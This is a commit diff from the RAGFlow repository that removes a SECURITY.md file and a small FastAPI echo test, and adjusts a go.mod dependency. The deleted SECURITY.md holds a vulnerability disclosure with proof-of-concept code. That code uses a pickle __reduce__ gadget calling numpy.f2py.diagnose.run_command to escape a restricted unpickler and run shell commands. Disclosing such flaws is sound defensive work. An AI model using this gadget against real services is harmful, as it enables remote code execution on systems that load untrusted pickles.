RAGFlow is an agent-native database: a Retrieval-Augmented Generation (RAG) engine that grew into context infrastructure.
Go agent-harnessagent-native-databaseagentic-aiagentic-retrievalagentic-searchaiai-agentscontext-enginecontext-engineeringcontext-managementharness-engineeringknowledge-compilationragretrieval-augmented-generationretrieval-harnesssearch-harness
refactor: remove unused code and doc (#20392)
Jin Haic1a680e905ef
diff --git a/SECURITY.md b/SECURITY.mddeleted file mode 100644index 61f6ff3ed8..0000000000--- a/SECURITY.md+++ /dev/null@@ -1,74 +0,0 @@-# Security Policy--## Supported Versions--Use this section to tell people about which versions of your project are-currently being supported with security updates.--| Version | Supported |-|---------|--------------------|-| <=0.7.0 | :white_check_mark: |--## Reporting a Vulnerability--### Branch name--main--### Actual behavior--The restricted_loads function at [api/utils/__init__.py#L215](https://github.com/infiniflow/ragflow/blob/main/api/utils/__init__.py#L215) is still vulnerable leading via code execution.-The main reason is that the numpy module has a numpy.f2py.diagnose.run_command function to directly execute commands, but the restricted_loads function allows users to import functions in the numpy module.---### Steps to reproduce---**ragflow_patch.py**--```py-import builtins-import io-import pickle--safe_module = {- 'numpy',- 'rag_flow'-}---class RestrictedUnpickler(pickle.Unpickler):- def find_class(self, module, name):- import importlib- if module.split('.')[0] in safe_module:- _module = importlib.import_module(module)- return getattr(_module, name)- # Forbid everything else.- raise pickle.UnpicklingError("global '%s.%s' is forbidden" %- (module, name))---def restricted_loads(src):- """Helper function analogous to pickle.loads()."""- return RestrictedUnpickler(io.BytesIO(src)).load()-```-Then, **PoC.py**-```py-import pickle-from ragflow_patch import restricted_loads-class Exploit:- def __reduce__(self):- import numpy.f2py.diagnose- return numpy.f2py.diagnose.run_command, ('whoami', )--Payload=pickle.dumps(Exploit())-restricted_loads(Payload)-```-**Result**----### Additional information--#### How to prevent?-Strictly filter the module and name before calling with getattr function.diff --git a/go.mod b/go.modindex a9da4656d9..58b936ecb5 100644--- a/go.mod+++ b/go.mod@@ -65,6 +65,7 @@ require (github.com/shirou/gopsutil/v3 v3.24.5github.com/signintech/gopdf v0.36.1github.com/siongui/gojianfan v0.0.0-20210926212422-2f175ac615de+ github.com/spf13/cast v1.6.0github.com/spf13/viper v1.18.2github.com/ucloud/ucloud-sandbox-sdk-go v0.0.0-20260807065450-08464aef9ed5github.com/xuri/excelize/v2 v2.11.0@@ -216,7 +217,6 @@ require (github.com/slongfield/pyfmt v0.0.0-20220222012616-ea85ff4c361f // indirectgithub.com/sourcegraph/conc v0.3.0 // indirectgithub.com/spf13/afero v1.15.0 // indirect- github.com/spf13/cast v1.6.0 // indirectgithub.com/spf13/pflag v1.0.5 // indirectgithub.com/spiffe/go-spiffe/v2 v2.7.0 // indirectgithub.com/subosito/gotenv v1.6.0 // indirectdiff --git a/test.py b/test.pydeleted file mode 100644index 13710b425f..0000000000--- a/test.py+++ /dev/null@@ -1,15 +0,0 @@-from fastapi import FastAPI, Request--app = FastAPI()--[email protected]("/")-async def echo(request: Request):- body = await request.body()- return body---if __name__ == "__main__":- import uvicorn-- uvicorn.run(app, host="0.0.0.0", port=8000)